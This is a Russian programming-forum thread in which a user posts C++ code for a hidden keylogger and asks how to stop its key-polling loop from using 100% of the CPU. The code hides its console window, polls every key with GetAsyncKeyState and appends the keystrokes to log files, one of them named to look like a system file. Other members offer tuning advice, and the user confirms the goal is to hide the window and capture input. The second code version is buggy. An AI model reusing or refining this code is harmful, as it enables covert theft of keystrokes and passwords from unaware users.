Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 14.02.2012, 21:24   #1
stdio
Форумчанин
 
Аватар для stdio
 
Регистрация: 14.02.2012
Сообщений: 105
Вопрос Как оптимизировать код? цикл доводит работу процессора до 100%

Код:
// loger.cpp: определяет точку входа для консольного приложения.
//

#include "stdafx.h"
#include<iostream>      
#include<windows.h>
#include<winuser.h>

using namespace std;



int S (int key, char *files)
{
    if ( (key == 1) || (key == 2) )
        return 0;
     FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
fclose (Save);
    return 0;
}

void Hide()
{
  HWND Hide;
  AllocConsole();
  Hide = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Hide,0);
}

int main()
{
        Hide();
    char q;

    while (1)
    {
        for(q = 8; q <= 190; q++)
	
        {
			
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\loger.txt");   
        }
    }
	
return 0;
}
Пробовал ставить Sleep() в цикл, но в таком случае программа работает уже не корректно. Как на ваш взгляд можно решить эту проблему и довести код до приемлемой работоспособности ?

Последний раз редактировалось Stilet; 14.02.2012 в 21:37.
stdio вне форума Ответить с цитированием
Старый 14.02.2012, 21:39   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

В чем заключается смысл программы?
Если пишется перехват нажатий клавиш в консоли, не проще ли просто перенаправить ввод?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 14.02.2012, 21:58   #3
stdio
Форумчанин
 
Аватар для stdio
 
Регистрация: 14.02.2012
Сообщений: 105
По умолчанию

Да перехват. Если бы я знал как перенаправит))) только пол книги прочитал Пахомова VC++(2008)
какие функции мне могут помочь в этом?(я по быстрому их изучу)

Последний раз редактировалось stdio; 14.02.2012 в 22:08.
stdio вне форума Ответить с цитированием
Старый 14.02.2012, 22:45   #4
_Bers
Старожил
 
Регистрация: 16.12.2011
Сообщений: 2,329
По умолчанию

Цитата:
Сообщение от stdio Посмотреть сообщение
Да перехват. Если бы я знал как перенаправит))) только пол книги прочитал Пахомова VC++(2008)
какие функции мне могут помочь в этом?(я по быстрому их изучу)
Не нужно ничего перенаправлять. За тебя уже все давно продумали и сделали:

http://vsokovikov.narod.ru/New_MSDN_...ole/con_fn.htm

Особое внимание обрати на:
http://vsokovikov.narod.ru/New_MSDN_...nsoleinput.htm

Там есть пример. Внимательно изучи его.

В твоём случае, достаточно только время от времени слушать буфер ввода. Если пользователь нажимал на кнопки - все нажатия будут в нем зафиксированы.

Ты в любой момент можешь прочитать содержимое буфера ввода, и получить исчерпывающую информацию о клавишах, мышке, окошке.
_Bers вне форума Ответить с цитированием
Старый 14.02.2012, 23:05   #5
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
время от времени слушать буфер ввода.
Хм... Так то оно так, но вдруг в буфер будет введен символ, который пользователь успеет удалить за то время пока будет очередная считка через ReadConsoleInput?
А если прослушивать чаще, не загрузит ли это процессор?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 14.02.2012, 23:21   #6
_Bers
Старожил
 
Регистрация: 16.12.2011
Сообщений: 2,329
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
Хм... Так то оно так, но вдруг в буфер будет введен символ, который пользователь успеет удалить за то время пока будет очередная считка через ReadConsoleInput?
А если прослушивать чаще, не загрузит ли это процессор?
Тебе нужно понять одну вещь.

Пользователь нажимает на клавиши.

Клавиши - это конопки на клавиатуре. Это не символы. Это - миниатюрные устройства.

Каждая клавиша, в числе прочих её атрибутов, имеет виртуальный код, имеет состояние "нажата" или "отпущена". Имеет дополнительный набор атрибутов, такие как: "был ли в момент нажатия включен капслок?", или "а шифт? Или левый/правый контрл?"

Кароче говоря, в буфер ввода попадает исчерпывающая информация о событии ввода.

Если пользователь захотел стереть символ с экранчика, то он нажимает клавишу бакспейс. Это тоже клавиша, и данные о ней тоже попадают в буфер ввода.

Прослушав буфер ввода ты сможешь получить исчерпывающую информацию обо всех событиях ввода, которые произошли с момента предыдущего прослушивания.

Ты узнаешь, какие клавиши были нажаты. Какие символы были введены, какие были потом затерты.

Ты узнаешь что происходило с клавиатурой. И при необходимости сможешь воссоздать цепь всех событий.
_Bers вне форума Ответить с цитированием
Старый 14.02.2012, 23:46   #7
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
_Bers
Лады убедил. В таком случае плюсую.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 20.02.2012, 22:45   #8
stdio
Форумчанин
 
Аватар для stdio
 
Регистрация: 14.02.2012
Сообщений: 105
По умолчанию

Что я не так делаю,в чём ошибка? уже недёлю бьюсь)))) не обессудьте я только учусь


Код:
// loger.cpp: определяет точку входа для консольного приложения.
//

#include "stdafx.h"
#include<iostream>      
#include<windows.h>
#include<winuser.h>

using namespace std;

#define KeyEventProc(KEY_EVENT_RECORD);
#define MouseEventProc(MOUSE_EVENT_RECORD);

int S (int key, char *files)
{
    if ( (key == 1) || (key == 2) )
        return 0;
     FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
fclose (Save);
    return 0;
}

void Hide()
{
  HWND Hide;
  AllocConsole();
  Hide = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Hide,0);
}


 
int main()
{

	//Hide();// steels

	

	 HANDLE hStdin;
    DWORD cNumRead, fdwMode, i;
    INPUT_RECORD irInBuf[128];

    // Получим стандартный дескриптор ввода.
	hStdin = GetStdHandle(STD_INPUT_HANDLE);


	// Включим события ввода от мыши и окна.

    fdwMode = ENABLE_WINDOW_INPUT | ENABLE_MOUSE_INPUT;
	
  
//while (1)
  //  {
		// Ожидание событий.

        if (ReadConsoleInput(
                hStdin,      // дескриптор буфера ввода
                irInBuf,     // буфер, в котором читаем
                128,         // размер буфера чтения
                &cNumRead) ) // число прочитанных записей
		{
            
		   // Направляем события соответствующим обработчикам.

		for (i = 0; i < cNumRead; i++)
        {
            switch(irInBuf[i].EventType)
            {
                case KEY_EVENT: // ввод с клавиатуры
                    KeyEventProc(irInBuf[i].Event.KeyEvent);
					for(i = 8; i <= 190; i++)
			{
			   if (GetAsyncKeyState(i) == -32767)
S (i,"C:\\sisstems.txt");
	 
	
			}//for
                    break;

               case MOUSE_EVENT: // ввод от мыши
                    MouseEventProc(irInBuf[i].Event.MouseEvent);
                    break;

               // case WINDOW_BUFFER_SIZE_EVENT: // изменение размера
                                               // экранного буфера
                 //   ResizeEventProc(irInBuf[i].Event.WindowBufferSizeEvent);
                   // break;

                case FOCUS_EVENT:  // игнорирование событий фокуса

                case MENU_EVENT:   // игнорирование событий меню
                    break;

               
            }//switsh
        }//for
            
			
return 0;
		}//if
//}//while
}

Последний раз редактировалось ACE Valery; 21.02.2012 в 01:27.
stdio вне форума Ответить с цитированием
Старый 20.02.2012, 23:16   #9
EUGY
Форумчанин
 
Аватар для EUGY
 
Регистрация: 11.07.2010
Сообщений: 914
По умолчанию

//Hide();// steels

Вы в итоге хотите скрыть окно консоли и читать ее буфер?
EUGY вне форума Ответить с цитированием
Старый 20.02.2012, 23:25   #10
stdio
Форумчанин
 
Аватар для stdio
 
Регистрация: 14.02.2012
Сообщений: 105
По умолчанию

да именно так)))
stdio вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Оптимизировать код) Pein95 Паскаль, Turbo Pascal, PascalABC.NET 1 11.11.2011 18:42
Как оптимизировать код C++ slim>>> Помощь студентам 10 25.01.2011 00:05
Как оптимизировать код перевода BMP в JPEG artemavd Общие вопросы Delphi 7 12.11.2010 12:18
Очень большой цикл, как оптимизировать? Marsel737 Общие вопросы Delphi 3 06.09.2010 10:08
Как оптимизировать код Delphi OST_K Помощь студентам 1 30.05.2010 06:59